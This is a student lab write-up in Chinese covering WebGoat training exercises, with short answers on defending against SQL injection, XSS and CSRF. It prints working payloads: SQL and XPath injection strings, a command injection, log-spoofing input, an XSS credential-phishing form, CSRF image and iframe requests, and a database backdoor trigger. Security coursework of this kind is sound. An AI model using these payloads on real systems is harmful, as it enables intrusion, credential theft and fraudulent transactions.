实践过程
开启webgoat
首先要去网上把那个jar包下载下来,放到某个目录下,然后切换到相应目录执行下列指令:
输入java -jar webgoat-container-7.1-exec.jar
之后可以看到这个界面:
此时再浏览器中输入127.0.0.1:8080/WebGoat打开注册页面,然后输入默认账号:
然后可以看到登录后的界面:
下面开始做
1.SQL字符串注入(String SQL Injection)
这个实验的目的是通过SQL字符串的注入来实现查看所有用户的信息
我们输入'or 1='1
,语句就变成
SELECT * FROM user_data WHERE last_name = ''or 1='1'
这句的意思就是查询lastname='' OR
(或者)1='1' ,因为1='1' 永远为真,所以成功通过。
可以看到所有用户的信息都显示出来了
2.Numeric SQL Injection
这个实验的目的是通过SQL注入手段,实现查看所有城市天气信息
因为我们没法像上个实验一样直接有输入框可以输入,所以我们需要借助火狐浏览器的开发者工具
右键单击下拉菜单打开元素检查器,然后做出如下修改:
原理跟上一个差不多,都是制造一个1=’1‘的永真式,结果如下:
3.日志欺骗(Log Spoofing)
利用日志的格式,使用换行等字符,欺骗管理员:
在这里输入
lys%0d%0aLogin Succeeded for username: admin
就可以产生一个看起来很有迷惑性的虚假日志信息
4.Command Injection
目的是尝试给操作系统注入命令行,要求能够在目标主机上执行系统命令
通过火狐浏览器的元素查看器
对源代码进行修改,右键点击BackDoors.help,定位后执行修改,加上&netstat -an & ipconfig来查看网络的连接状态
修改后
view一下就可以看到连接信息
5.XPATH Injection
目的是使用帐户Mik/Test123,目标是试着去查看其他员工的数据。使用一个普通的用户名和密码,XPath会起作用,但是攻击者可能会发送一个坏用户名和密码,并在不知道用户名或密码的情况下,选择一个XML节点如下:
Username: lys' or 1=1 or 'a'='a Password: lys
结果:
6.Phishing with XSS 跨站脚本钓鱼攻击
XSS可以劫持用户的浏览器,任意构造用户当前浏览的HTML内容,模拟用户当前的操作。
这里实验模拟获取用户名和密码的攻击
在文本框里面输入一个钓鱼网站代码
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单
填写信息LYS/123456,点击login,之后WebGoat会将输入的信息捕获并反馈回来
7.Stored XSS Attacks
目的是创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
在Message中构造语句<script>alert("1220 is your daddy");</script>
,提交后,可以发现刚刚创建的弹窗20151220
8.Cross Site Request Forgery(CSRF)
目的是发送一个恶意URL请求的图片给用户。在message框里输入一段文字,文字里包含了恶意图片。
输入<img src="http://localhost:8080/WebGoat/attack?Screen=273&menu=900&transferFunds=5000" width="1" height="1">
,其中src指向网站的链接,这里就是自己的这个网站,后面的两个参数参照右边的表,然后通过宽高设置成1像素,隐藏掉这个图片。
然后提交,并点开消息
9.CSRF Prompt By-Pass
在信息框中输入:
<iframe src="attack?Screen=src290&menu=menu900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=src290&menu=menu900&transferFunds=CONFIRM"> </iframe>
提交后生成一个链接,点击后攻击成功
10.Database Backdoors
先输入101看一下原始的信息:
接下来写入101 or 1=1;update employee set salary = 88888,修改工资信息
然后再输入
101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid
另外还可以把SQL注入用一下,做法还是那样做出1=‘1’
基础问题回答
1. SQL注入攻击原理,如何防御?
SQL注入攻击就是将一些恶意代码插入到字符串中,将该字符串传递到SQLServer数据库的实例中进行分析和执行,最终达到欺骗服务器执行恶意SQL命令的目的
防范:采用字符串过滤的方法;限制字符串长度;普通用户与系统管理员用户的权限要有严格的区分.;加密数据库等等
2. XSS攻击的原理,如何防御?
XSS就是将恶意代码注入到网页上,并能够被浏览器成功的执行,其他用户浏览网页时就可能执行所安插的恶意代码。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的是获取目标攻击网站的cookie,有了cookies之后就可以在某一些事情上为所欲为了。
防御:在表单提交或者URL参数传递前就对其参数进行过滤;检查用户输入的内容中是否有非法的内容。
3. CSRF攻击原理,如何防御?
原理:通过一些手段借用用户的身份来达到一些非法目的,以用户的名义来发送恶意请求。又叫跨站请求伪造
防范:通过验证码来检测用户提交,防止冒充;避免直接暴露用户隐私信息,及时清理cookies;避免全站通用的cookie,严格设置cookie的域
实验总结与体会
做完这个实验感觉了解了很多的攻击手段啊,对于网络安全方面又多了很多的认识。之后一定得好好培养自己的网络安全意识,注意防范潜在的安全风险以及提高对于来历不明的连接或者网站的鉴别能力。我相信之后这类手段还会层出不穷,而且只会越来越难防范,越来越可怕,所以我们平时不要放弃学习,应该跟上技术发展的步伐,不求精通,至少应该了解,这样也是对自己负责。